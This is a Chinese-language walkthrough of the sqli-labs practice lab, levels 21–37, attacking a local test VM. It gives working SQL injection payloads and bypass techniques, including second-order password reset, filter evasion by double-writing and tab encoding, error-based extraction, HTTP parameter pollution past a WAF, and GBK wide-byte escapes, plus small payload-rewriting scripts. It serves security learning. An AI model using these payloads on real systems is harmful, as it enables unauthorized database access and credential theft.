[NOTE] sqli-labs Adv Injections
[NOTE] sqli-labs Adv Injections
文章目錄
- [NOTE] sqli-labs Adv Injections
- 前言
- Less-21: Cookie injection - base64 encoded-single quotes and parenthesis
- Less-22: Cookie injection - base64 encoded-single – double quotes
- Less-23: GET - Error based - strip comments
- Less-24: POST - Second Oder Injections *Real treat* - Stored Injections
- Less-25: GET - Error based - All your OR & AND belong to us - string single quote
- Less-25a: GET - Blind based - All your OR & AND belong to us – Intiger based
- Less-26: GET - Error based - All your SPACES and COMMENTS belong to us
- Less-26a: GET - Blind Based - All your SPACES and COMMENTS belong to us – String-single quotes-Parenthesis
- Less-27: GET - Error Based - All your UNION & SELECT Belong to us – String – String quote
- Less-27a: GET - Blind Based - All your UNION & SELECT Belong to us – Double Quotes
- Less-28: GET - Error Based - All your UNION & SELECT Belong to us – String – Single quote with parenthesis
- Less-28a: GET - Blind Based - All your UNION & SELECT Belong to us – single quote-parenthesis
- Less-29: GET - Error based - IMPIDENCE MISMATCH – Having a WAF in front of web application
- Less-30: GET - BLIND - IMPIDENCE MISMATCH - Having a WAF in front of web application
- Less-31: GET - BLIND - IMPIDENCE MISMATCH – Having a WAF in front of web application
- Less-32: GET - Bypass custom filter adding slashes to dangerous chars
- Less-33: GET - Bypass AddSlashes()
- Less-34: POST - Bypass AddSlashes()
- Less-35: GET - Bypass Add Slashes (we dont need them) Interger based
- Less-36: GET – Bypass MySQL_real_escape_string
- Less-37: POST – Bypass MySQL_real_escape_string
前言
針對(duì)sqli-labs靶場(chǎng)的做題筆記
環(huán)境
虛擬機(jī)環(huán)境
攻擊機(jī):kali|10.10.10.1
靶機(jī):ubuntu|10.10.10.2|Apache+PHP+MySQL
Less-21: Cookie injection - base64 encoded-single quotes and parenthesis
就是Basic Injection里邊的Less-21(重復(fù)了?)
Less-22: Cookie injection - base64 encoded-single – double quotes
和Less-21一樣,只不過閉合方式從 ’) 變成了 “
下略
試試sqlmap能不能跑
sqlmap -r cookieInj --level 5 --risk 3 --cookie="uanme=*" --tamper="base64encode"
關(guān)鍵是指定要探測(cè)注入漏洞的cookie字段(注意格式),以及指定編碼方式(tamper——篡改)
Less-23: GET - Error based - strip comments
strip comments——注釋過濾?應(yīng)該是做了基本的過濾
看眼源碼:
用preg_replace()對(duì)注釋符做了過濾(正則匹配)
過濾方法1:主動(dòng)閉合——?id=' or 1=1 or '
?id=' union select 1,group_concat(username),group_concat(password) from users where '1'='1
過濾方法2:00截?cái)唷?id=' or 1=1; %00(不知為啥要加個(gè)分號(hào))
?id=' union select 1,group_concat(username),group_concat(password) from users; %00
Less-24: POST - Second Oder Injections Real treat - Stored Injections
關(guān)于這題的學(xué)習(xí)資料
看了半天源碼,是有兩個(gè)有區(qū)別的PHP函數(shù)
mysql_real_escape_string
mysql_escape_string
這關(guān)簡(jiǎn)單模擬了一個(gè)系統(tǒng),注冊(cè)、登入、重置密碼、登出到忘記密碼都有
其中除注冊(cè)外,其他地方的輸入都使用了mysql_real_escape_string()進(jìn)行轉(zhuǎn)義
而注冊(cè)的地方使用的是mysql_escape_string()進(jìn)行轉(zhuǎn)義
可以上網(wǎng)查一下這兩個(gè)函數(shù),其中mysql_escape_string不轉(zhuǎn)義“%”和“_”
關(guān)于這題整體,是二次注入,也叫存儲(chǔ)型注入
大致思路是,先事把含有特殊字符的字符串放到服務(wù)器數(shù)據(jù)庫(kù)中
然后再找到服務(wù)器提取該字符串并直接拼接到SQL語句中的場(chǎng)景
因?yàn)槭菑臄?shù)據(jù)庫(kù)中直接提取字符串而不是由用戶輸入
所以很可能是沒有做任何過濾就直接拼接的
從而繞過一些過濾限制
這題關(guān)鍵是重置密碼時(shí),無需用戶輸入自己的用戶名
那么很可能就是系統(tǒng)自己從數(shù)據(jù)庫(kù)中提取并拼接用戶名
做法
先自己注冊(cè)一個(gè)賬戶:admin'#/password
可以注意到這個(gè)用戶名是合法的,并且會(huì)被完整顯示出來
登入這個(gè)用戶,重置自己的密碼為hacked
然后登出,會(huì)發(fā)現(xiàn)賬戶admin的密碼被改成了hacked
這是因?yàn)楹笈_(tái)修改賬戶密碼的代碼如下:
UPDATE users SET PASSWORD='$pass' WHERE username='$username' and password='$curr_pass'
其中用戶名字段是直接從$_SESSION["username"]中提取的
當(dāng)拼接上我們自己創(chuàng)建的賬戶時(shí),就會(huì)變成:
UPDATE users SET PASSWORD='$pass' WHERE username='admin'#' and password='$curr_pass'
相當(dāng)于變成了:
UPDATE users SET PASSWORD='$pass' WHERE username='admin'
這樣就達(dá)到了修改管理員賬戶密碼的目的
這題難度感覺不白盒,很難做出來
Less-25: GET - Error based - All your OR & AND belong to us - string single quote
一樣的GET參數(shù)id
題目是,所有的OR和AND都?xì)w他了
估計(jì)是過濾這倆關(guān)鍵字
99':報(bào)錯(cuò)
99'%23:沒有報(bào)錯(cuò)
估計(jì)是字符型注入
然后payload里面包含and和or,回顯出來都不見了
說明被過濾了
URL編碼不行,concat函數(shù)包含字符串的or不行
可能還需要多了解一下編碼繞過這塊,可能有別的可行方法
(編碼繞過方向全錯(cuò),我在贛神魔)
這個(gè)payload倒不會(huì)報(bào)語法錯(cuò)誤,但是說列數(shù)不同
?id=' union select (case when (1=1) then 1 else 1 end) %23
即case-when-then-end可用
蚌埠住了,看看源碼,對(duì)參數(shù)id做了下黑名單過濾:
function blacklist($id) {$id= preg_replace('/or/i',"", $id);$id= preg_replace('/AND/i',"", $id);return $id; }preg_replace函數(shù):hhhhhh草得去等館長(zhǎng)了
preg_replace函數(shù):對(duì)目標(biāo)字符串執(zhí)行一個(gè)正則模式的查找與替換
最關(guān)鍵的是,它只會(huì)查找并替換一次,只有一次
于是就可以雙寫繞過了
(函數(shù)原型好像有一個(gè)limit參數(shù)指定替換的最大次數(shù)?默認(rèn)是-1無限次?)
(可能是指遍歷替換的次數(shù),不是遞歸替換的次數(shù)?)
此外換成||和&&也行,但是后面有些payload還是要雙寫
另外注意的是,別的地方出現(xiàn)了or和and都要雙寫繞過:
?id=' union select 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_schema=database() anandd table_name='users' %23
可以考慮寫個(gè)腳本函數(shù)自動(dòng)執(zhí)行payload的替換
原來雙寫繞過就可以了,一開始還去想什么編碼、case-wen啥的
終極眼高手低,草
一個(gè)繞過過濾的思路:
若有過濾,先判斷是一次性過濾還是非一次性過濾
一次性的話:雙寫繞過
非一次性的話:則要考慮變形
- 大小寫混拼
- 運(yùn)算符代替:or->||、and->&&
- URL編碼繞過:#->%23
- Hex編碼繞過:~->0x7e
- 添加注釋:/*or*/
Less-25a: GET - Blind based - All your OR & AND belong to us – Intiger based
題目加個(gè)a,估計(jì)只是上一題的變式
字符型注入換成數(shù)字型
其他地方實(shí)際做起來確實(shí)和上一題沒啥區(qū)別,都是雙寫可繞過
看看源碼,沒啥東西
倒是有一行print_r(mysql_error())被注釋掉了,所以沒有錯(cuò)誤回顯
Less-26: GET - Error based - All your SPACES and COMMENTS belong to us
看樣子是過濾掉了空格和注釋
結(jié)果不是,or和and也被過濾了
看看源碼的過濾函數(shù):
function blacklist($id) {//strip out OR (non case sensitive)$id= preg_replace('/or/i',"", $id);//Strip out AND (non case sensitive)$id= preg_replace('/and/i',"", $id);//strip out /*$id= preg_replace('/[\/\*]/',"", $id);//Strip out --$id= preg_replace('/[--]/',"", $id);//Strip out #$id= preg_replace('/[#]/',"", $id);//Strip out spaces$id= preg_replace('/[\s]/',"", $id);//Strip out slashes$id= preg_replace('/[\/\\\\]/',"", $id);return $id; }關(guān)于過濾注釋的繞過,一開始想著這樣雙拼:/*/**/*/
結(jié)果不行,原來過濾的是/*
所以要這樣雙拼://**/**/
說明繞過的姿勢(shì)還要放開思路
驗(yàn)證注入的payload:?id='//**/**/oorr//**/**/'1'='1
寫了個(gè)腳本來做敏感字符得自動(dòng)化替換:
import sysif __name__ == '__main__':for i in range(len(sys.argv)-1):res = sys.argv[i+1]res = res.replace(" ", "/**/")res = res.replace("or", "oorr")res = res.replace("and", "anandd")res = res.replace("/*", "//**")print(res)exit(0)后面那個(gè)注釋符目前找不到很好的繞過方法,好像只能通過閉合的方式通過檢查
但是試了試別的payload,發(fā)現(xiàn)會(huì)報(bào)錯(cuò)?例如下面這個(gè)爆表:
'//***/union//***/select//***/1,group_concat(table_name),3//***/from//***/infoorrmation_schema.tables//***/where//***/table_schema=database()//***/anandd//***/'1'='1
就報(bào)了語法錯(cuò)誤:check the manual that corresponds to your MySQL server version for the right syntax to use near ‘unionselect1,group_concat(table_name),3frominformation_schema.tableswheretable_s’ at line 1
檢查一下發(fā)現(xiàn)回顯也正常,只是空格都被抽掉了
(后面檢查可能還真是這里的問題,因?yàn)楹竺鏈y(cè)出來是只有用空格分隔的SQL語句如“union select”等才會(huì)出現(xiàn)這樣的問題)
那為啥別人可以?
所以估計(jì)是union select和后面的limit配合得不是很好?
不會(huì)要補(bǔ)習(xí)MySQL語法吧…
由于有完整報(bào)錯(cuò)回顯,考慮使用updatexml、extractvalue等函數(shù)
改進(jìn)下腳本:
import sysres = sys.argv[1] res = res.replace(" or ", "||") res = res.replace("or", "oorr") res = res.replace(" ", "/**/") res = res.replace("and", "anandd") res = res.replace("/*", "//**")print(res)另外空格被過濾,使用圓括號(hào)是一個(gè)不錯(cuò)的分隔辦法
爆庫(kù):'||updatexml(1,//**concat(0x7e,//**(select//**database()),//**0x7e),//**1)||'1'='1
爆表:
'||updatexml(1,//***/concat(0x7e,//***/(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),//***/0x7e),//***/1)||'1'='2
爆字段:
'||updatexml(1,//***/concat(0x7e,//***/(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),//***/0x7e),//***/1)||'1'='2
爆數(shù)據(jù):
'||updatexml(1,//***/concat(0x7e,//***/(select(group_concat(username))from(users)limit%0B0,1),//***/0x7e),//***/1)||'1'='2
但是到這里問題又來了
由于報(bào)錯(cuò)會(huì)限制回顯的字符數(shù),所以需要使用limit 0,1來作偏移
但是這樣的話就免不了又要使用空格或別的分隔符
然后就會(huì)被抽走,然后又報(bào)語法錯(cuò)誤:
payload:'||updatexml(1,//***/concat(0x7e,//***/(select(group_concat(username))from(users)limit//***/0,1),//***/0x7e),//***/1)||'1'='2
報(bào)錯(cuò)回顯:check the manual that corresponds to your MySQL server version for the right syntax to use near ‘limit0,1),0x7e),1)||‘1’=‘2’ LIMIT 0,1’ at line 1
上面的‘limit’和‘0’接在一起了,去掉這個(gè)limit就沒事
那后面剩下的就上盲注吧
額不對(duì),盲注數(shù)據(jù)好像也要用到limit?那咋辦啊
我不理解,為什么別人和在數(shù)據(jù)庫(kù)里使用/**/代替空格就行
換到sqli-labs就不行…
不會(huì)又是垃圾小皮的鍋吧。。。。
上sqlmap看看
能測(cè)出DBMS是MySQL,參數(shù)id可以注入,但是后面就測(cè)不動(dòng)了
可能要指定別的參數(shù)啥的
Less-26a: GET - Blind Based - All your SPACES and COMMENTS belong to us – String-single quotes-Parenthesis
估計(jì)是和上題差不多,有些變形,而且提示了是基于盲注
測(cè)了測(cè),發(fā)現(xiàn)閉合要加多個(gè))
關(guān)閉了錯(cuò)誤回顯,所以u(píng)pdatexml這類路走不通了
貼個(gè)驗(yàn)證注入存在的payload:')||1=1||('1')=('2
盲注要用到也要limit,那咋整啊
Less-27: GET - Error Based - All your UNION & SELECT Belong to us – String – String quote
看樣子是過濾掉了union和select,估計(jì)還有別的
驗(yàn)證一下:?id=' or 1=1 %23
回顯:check the manual that corresponds to your MySQL server version for the right syntax to use near ‘or1=1’ LIMIT 0,1’ at line 1
看樣子之前過濾的這次也過濾了
得用回之前的腳本來做字段替換
看眼過濾函數(shù):
function blacklist($id) {$id= preg_replace('/[\/\*]/',"", $id);//strip out /*$id= preg_replace('/[--]/',"", $id);//Strip out --.$id= preg_replace('/[#]/',"", $id);//Strip out #.$id= preg_replace('/[ +]/',"", $id);//Strip out spaces.$id= preg_replace('/select/m',"", $id);//Strip out spaces.$id= preg_replace('/[ +]/',"", $id);//Strip out spaces.$id= preg_replace('/union/s',"", $id);//Strip out union$id= preg_replace('/select/s',"", $id);//Strip out select$id= preg_replace('/UNION/s',"", $id);//Strip out UNION$id= preg_replace('/SELECT/s',"", $id);//Strip out SELECT$id= preg_replace('/Union/s',"", $id);//Strip out Union$id= preg_replace('/Select/s',"", $id);//Strip out select return $id; }觀察一下,發(fā)現(xiàn)分隔符只過濾了空格和/*,也就是說制表符%09可用
union和select過濾也不完整,大小寫混拼可用
沒有過濾or和and
注釋符不可用
那比上一題簡(jiǎn)單了呀,updatexml注入走起!
payload替換腳本:
import sysres = sys.argv[1] res = res.replace("union", "UnIoN") res = res.replace("select", "SeLeCt") res = res.replace(" ", "%09") res = res.replace("/*", "//**")print(res)爆庫(kù):
'%09or%09updatexml(1,%09(concat(0x7e,%09(SeLeCt%09database()),%090x7e)),%091)%09or%09'1'='1
爆表:
'%09or%09updatexml(1,%09(concat(0x7e,%09(SeLeCt%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema=database()),%090x7e)),%091)%09or%09'1'='2
爆字段:
'%09or%09updatexml(1,%09(concat(0x7e,%09(SeLeCt%09group_concat(column_name)%09from%09information_schema.columns%09where%09table_schema=database()%09and%09table_name='users'),%090x7e)),%091)%09or%09'1'='2
爆數(shù)據(jù)(limit偏移):
'%09or%09updatexml(1,%09(concat(0x7e,%09(SeLeCt%09group_concat(username)%09from%09users%09limit%090,1),%090x7e)),%091)%09or%09'1'='2
然后發(fā)現(xiàn)limit 1,1就沒有任何顯示了????
實(shí)際上可以用制表符代替分隔符的話,可以直接union select:
'%09UnIoN%09SeLeCt%091,group_concat(username),group_concat(password)%09from%09users%09where%09'1'='1
union和select的限制也可以直接雙寫繞過
Less-27a: GET - Blind Based - All your UNION & SELECT Belong to us – Double Quotes
和上題差不多,換成雙引號(hào),關(guān)閉錯(cuò)誤回顯
爆數(shù)據(jù):
"%09UnIoN%09SeLeCt%091,group_concat(username),group_concat(password)%09from%09users%09where%09"1"="1
Less-28: GET - Error Based - All your UNION & SELECT Belong to us – String – Single quote with parenthesis
首先還是先試試
' or '1'='1這個(gè)可以正常回顯
返回提示:Your Input is Filtered with following result: 'or'1'='1
空格被過濾了
然后試了試制表符%09,返回提示:result: ' or '1'='1
說明制表符可用,過濾不完全
union和select又被過濾,但試了試大小寫混拼不行
雙寫,發(fā)現(xiàn)返回提示:result: ' ununionion seselectlect 1,2,'3
說明雙寫的內(nèi)容沒有被過濾,怎么回事??
看眼源碼,發(fā)現(xiàn)針對(duì)這倆的過濾正則是這樣的:/union\s+select/i
即過濾的是這倆的組合
想到除去union select之外還有一個(gè)union all select
可以用這個(gè)繞過上面的過濾
另外還發(fā)現(xiàn)不僅有單引號(hào),還有一個(gè)圓括號(hào)也要閉合
于是有如下payload:')%09union%09all%09select%09'1','2',('3
爆庫(kù):')%09union%09all%09select%09'1','2',('3
爆表:
')%09union%09all%09select%09'1',group_concat(table_name),3%09from%09information_schema.tables%09where%09table_schema=database%09and%09'1'=('1
爆字段:
')%09union%09all%09select%09'1',group_concat(column_name),3%09from%09information_schema.columns%09where%09table_schema=database()%09and%09table_name='users'%09and%09'1'=('1
爆數(shù)據(jù):
')%09union%09all%09select%09'1',group_concat(username),group_concat(password)%09from%09users%09where%09'1'=('1
Less-28a: GET - Blind Based - All your UNION & SELECT Belong to us – single quote-parenthesis
很卵奇怪,和上一題沒啥區(qū)別
看一眼源碼,發(fā)現(xiàn)除了對(duì)union select的組合過濾之外沒有別的過濾了
Less-29: GET - Error based - IMPIDENCE MISMATCH – Having a WAF in front of web application
“IMPIDENCE MISMATCH”——預(yù)防不匹配?
另外題目說有WAF
(This Site Protected by World's Best Firewall,嗯哼?)
隨便試試,發(fā)現(xiàn)亂注?' or 1=1 %23有回顯
真就亂注,爆數(shù)據(jù):' union select 1,group_concat(username),group_concat(password) from users %23
怎么回事,看看源碼
源碼里面也沒有任何關(guān)于WAF的內(nèi)容啊?
破案了,原來用戶界面是login.php,不是默認(rèn)的index.php
那就重新來過
發(fā)現(xiàn)不管給id傳入什么參數(shù)都會(huì)報(bào)錯(cuò),然后302跳到一個(gè)hacked.php
顯示說被WAF擋住了
看源碼,發(fā)現(xiàn)有很奇怪的地方,既有id1又有id:
$qs = $_SERVER['QUERY_STRING']; $hint=$qs; $id1=java_implimentation($qs); $id=$_GET['id']; // ... whitelist($id1); // ... $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";其中whitelist函數(shù)用白名單限制了參數(shù)只能為整數(shù)
java_implimentation函數(shù)如下:
function java_implimentation($query_string) {$q_s = $query_string;$qs_array= explode("&",$q_s);foreach($qs_array as $key => $value) {$val=substr($value,0,2);if($val=="id") {$id_value=substr($value,3,30); return $id_value;echo "<br>";break;}} }explode函數(shù)用于將字符串打散成數(shù)組
java_implimentation函數(shù)的目的大概在于,捕獲第一個(gè)id參數(shù)并返回
問題就在于只捕獲第一個(gè)id參數(shù),就把它返回給id1
并且后面的白名單檢測(cè),只檢測(cè)id1
而拼接在SQL語句里的是從$_GET['id']獲得的id
再結(jié)合一波**HPP(HTTP Parameter Pollution,HTTP參數(shù)污染)**的知識(shí)
大概是請(qǐng)求參數(shù)中有兩個(gè)參數(shù)同名的話
不同Web服務(wù)器對(duì)其的處理規(guī)則不同
從而導(dǎo)致利用點(diǎn)出現(xiàn)
例如PHP/Apache里邊,會(huì)把最后一個(gè)同名參數(shù)作為傳參
http://www.xx.com/?id=1&id=' or '1'='1
有可能檢測(cè)到第一個(gè)id正常就通過,而傳入服務(wù)器的是后面的惡意參數(shù)
下面是具體不同Web服務(wù)器的處理方式:
| PHP/Apache | $_GET(“par”) | Last |
| JSP/Tomcat | Request.getParameter(“par”) | First |
| Perl(CGI)/Apache | Param(“par”) | First |
| Python/Apache | Getvalue(“par”) | All(List) |
| ASP/IIS | Request.QueryString(“par”) | All(comma-delimited string) |
所以根據(jù)上述知識(shí),只需要傳入兩個(gè)id參數(shù),就可以WAF Bypass了,payload:
?id=1&id=' union select 1,group_concat(username),group_concat(password) from users %23
(前面的過程略)
另外關(guān)于這個(gè)WAF的體現(xiàn),整(fu)理(zhi)了一波網(wǎng)上的資料
大概是這么一個(gè)雙層服務(wù)器架構(gòu)
服務(wù)器端有兩個(gè)部分:第一部分為 tomcat 為引擎的 jsp 型服務(wù)器,第二部分為 apache 為引擎的 php 服務(wù)器,真正提供 web 服務(wù)的是 php 服務(wù)器。
工作流程為:client 訪問服務(wù)器,能直接訪問到 tomcat 服務(wù)器,然后 tomcat 服務(wù)器再向 apache 服務(wù)器請(qǐng)求數(shù)據(jù)。數(shù)據(jù)返回路徑則相反。
接下來是參數(shù)解析的問題。
問:index.php?id=1&id=2,這時(shí)回顯是id=1還是id=2呢?
答:apache (php) 解析最后一個(gè)參數(shù),即回顯id=2;tomcat (jsp) 解析第
一個(gè)參數(shù),即回顯id=1。
問:index.jsp?id=1&id=2,針對(duì)這關(guān)的兩層結(jié)構(gòu),客戶端請(qǐng)求首先過 tomcat,tomcat 解析第一個(gè)參數(shù),接下來 tomcat 請(qǐng)求 apache,apache 解析最后一個(gè)參數(shù)。那么最終返回客戶端的是哪個(gè)參數(shù)?
答:此處應(yīng)該還是id=2,因?yàn)閷?shí)際上提供服務(wù)的是 apache 服務(wù)器,返回的數(shù)據(jù)也應(yīng)該是 apache 處理的數(shù)據(jù)。
而在我們實(shí)際應(yīng)用中,也是有兩層服務(wù)器的情況,那為什么要這么做?是因?yàn)槲覀兺?tomcat 服務(wù)器處做數(shù)據(jù)過濾和處理,功能類似為一個(gè) WAF。
而正因?yàn)榻馕鰠?shù)的不同,我們此處可以利用該原理繞過 WAF 的檢測(cè)。如 payload:index.jsp?id=1&id=0 or 1=1–+,tomcat 只檢查第一個(gè)參數(shù)id=1,而對(duì)第二個(gè)參數(shù)id=0 or 1=1–+不做檢查,直接傳給了 apache,apache 恰好解析第二個(gè)參數(shù),便達(dá)到了攻擊的目的。
所以這題模擬的就是上面的Tomcat WAF&Apache Server架構(gòu)
Less-30: GET - BLIND - IMPIDENCE MISMATCH - Having a WAF in front of web application
承接上題經(jīng)驗(yàn)
單id參數(shù)會(huì)報(bào)錯(cuò)
雙重id前正確后惡意能行:?id=1&id=" or 1=1 %23
測(cè)出來是雙引號(hào)字符型
直接上最后爆數(shù)據(jù)的payload:
?id=1&id=" union select 1,group_concat(username),group_concat(password) from users %23
看源碼:
和上題沒啥區(qū)別
Less-31: GET - BLIND - IMPIDENCE MISMATCH – Having a WAF in front of web application
承接Less-29題經(jīng)驗(yàn)
只是變成了雙引號(hào)+圓括號(hào)閉合:?id=1&id=") or 1=1 %23
最后爆數(shù)據(jù)的payload:
?id=1&id=") union select 1,group_concat(username),group_concat(password) from users %23
源碼其余地方和之前一樣
Less-32: GET - Bypass custom filter adding slashes to dangerous chars
打入單引號(hào)的時(shí)候,發(fā)現(xiàn)提示回顯:
Hint: The Query String you input is escaped as : \’
The Query String you input in Hex becomes : 5c27
看上去是被加了反斜杠進(jìn)行轉(zhuǎn)義
簡(jiǎn)單測(cè)試,發(fā)現(xiàn)'、"以及\都會(huì)被加上反斜杠進(jìn)行轉(zhuǎn)義
結(jié)合提示會(huì)回顯16進(jìn)制的查詢結(jié)果,考慮寬字符注入
下面的內(nèi)容來自Pikachu靶場(chǎng)練習(xí)筆記的寬字節(jié)注入內(nèi)容
主要是利用了GBK系列編碼,將兩個(gè)字節(jié)當(dāng)成是一個(gè)中文字符的原理
相關(guān)配置為:set character_set_client = gbk
一般為引號(hào)被加上反斜杠轉(zhuǎn)義的情況
1' and 1=1 #->1\' and 1=1 #
相當(dāng)于查詢id為‘1’ and 1=1 #’的信息
但是可以主動(dòng)加上一個(gè)‘%df’
1%df' and 1=1 #->1%df\' and 1=1 #->1%df%5c' and 1=1 #->1輼' and 1=1 #
相當(dāng)于查詢id為‘1輼’的信息,然后執(zhí)行and后面的判斷
于是驗(yàn)證注入的payload:%df' or 1=1 %23
后續(xù)略
其中需要用到字符串判斷的地方,比如要table_name='users'
可以使用**concat函數(shù)和char函數(shù)**來進(jìn)行結(jié)合變式
?id=%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=concat(char(117),char(115),char(101),char(114),char(115)) %23
Less-33: GET - Bypass AddSlashes()
AddSlashes,添加斜杠
后面跟個(gè)圓括號(hào),看起來像個(gè)給特殊字符添加斜桿來轉(zhuǎn)義的函數(shù)
果不其然,參數(shù)id打入單引號(hào),提示回顯給加上了反斜杠
可以考慮寬字節(jié)注入
?id=%df' or 1=1 %23就可以正確回顯了,說明寬字節(jié)注入有效
那基本上就和上一題一樣了
看看源碼,主要是使用addslashes函數(shù)對(duì)傳參進(jìn)行過濾
這個(gè)函數(shù)主要是對(duì)'、"、\以及NULL字符前邊加上反斜杠
此外源碼里面有一行比較有意思:
mysql_query("SET NAMES gbk");
看來寬字節(jié)注入真的與GBK編碼有很大干系
Less-34: POST - Bypass AddSlashes()
變成登錄框,兩個(gè)框都會(huì)添加反斜杠
遇到問題了,POST怎么做到寬字節(jié)注入?
哦,原來原理上是一樣的
驗(yàn)證payload:username:%df' or 1=1 #/password:1
這里需要了解一下Content-Type: application/x-www-form-urlencoded
這種MIME是form標(biāo)簽不設(shè)置別的encrypt屬性時(shí)所默認(rèn)采用的
它會(huì)把表單提交的鍵和值進(jìn)行url編碼
所以從網(wǎng)頁上提交的payload,再經(jīng)過url編碼后,會(huì)變成這樣:
%25df%27+or+1%3D1+%23
即%被轉(zhuǎn)碼了,所以提示回顯里面的百分號(hào)出現(xiàn)了
所以需要使用bp等代理工具進(jìn)行抓包改包:
這樣的所發(fā)出的payload才有效,才能注入成功
剩下的payload如無說明默認(rèn)是uname的參數(shù)
判斷回顯字段數(shù)為2:
%df' or 1=1 order by 2#
查看回顯的字段:
%df' union select 1,2#
下略
其中需要用到字符串判斷的地方,比如要table_name='users'
可以使用**concat函數(shù)和char函數(shù)**來進(jìn)行結(jié)合變式
Less-35: GET - Bypass Add Slashes (we dont need them) Interger based
數(shù)字型還要什么雙引號(hào),直接驗(yàn)證注入:?id=999 or 1=1 %23
爆列:
?id=999 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=concat(char(117),char(115),char(101),char(114),char(115)) %23
下略
Less-36: GET – Bypass MySQL_real_escape_string
怕是要繞過mysql_real_escape_string這個(gè)函數(shù)
結(jié)果可以寬字節(jié)繞過
記一下GBK編碼如何防止寬字符注入
先調(diào)用mysql_set_charset函數(shù)設(shè)置連接所使用的字符集為gbk,再調(diào)用mysql_real_escape_string函數(shù)來過濾用戶輸入
(mysql_set_charset('gbk','$conn'))
也就是說,先不進(jìn)行轉(zhuǎn)義,首先以GBK編碼的形式對(duì)提交上來的參數(shù)進(jìn)行編碼,然后再進(jìn)行轉(zhuǎn)義,(先編碼也意味著反斜杠即5c不會(huì)出現(xiàn),到下一步的轉(zhuǎn)義引號(hào)才出現(xiàn))
源碼的失誤就在于先轉(zhuǎn)義再編碼
Less-37: POST – Bypass MySQL_real_escape_string
雖然使用mysql_real_escape_string函數(shù),但是和GBK字符集設(shè)置順序有誤
所以可以寬字符繞過
詳見Less-34、Less-36
總結(jié)
以上是生活随笔為你收集整理的[NOTE] sqli-labs Adv Injections的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: [NOTE] RESTful架构
- 下一篇: [NOTE] Web For Pente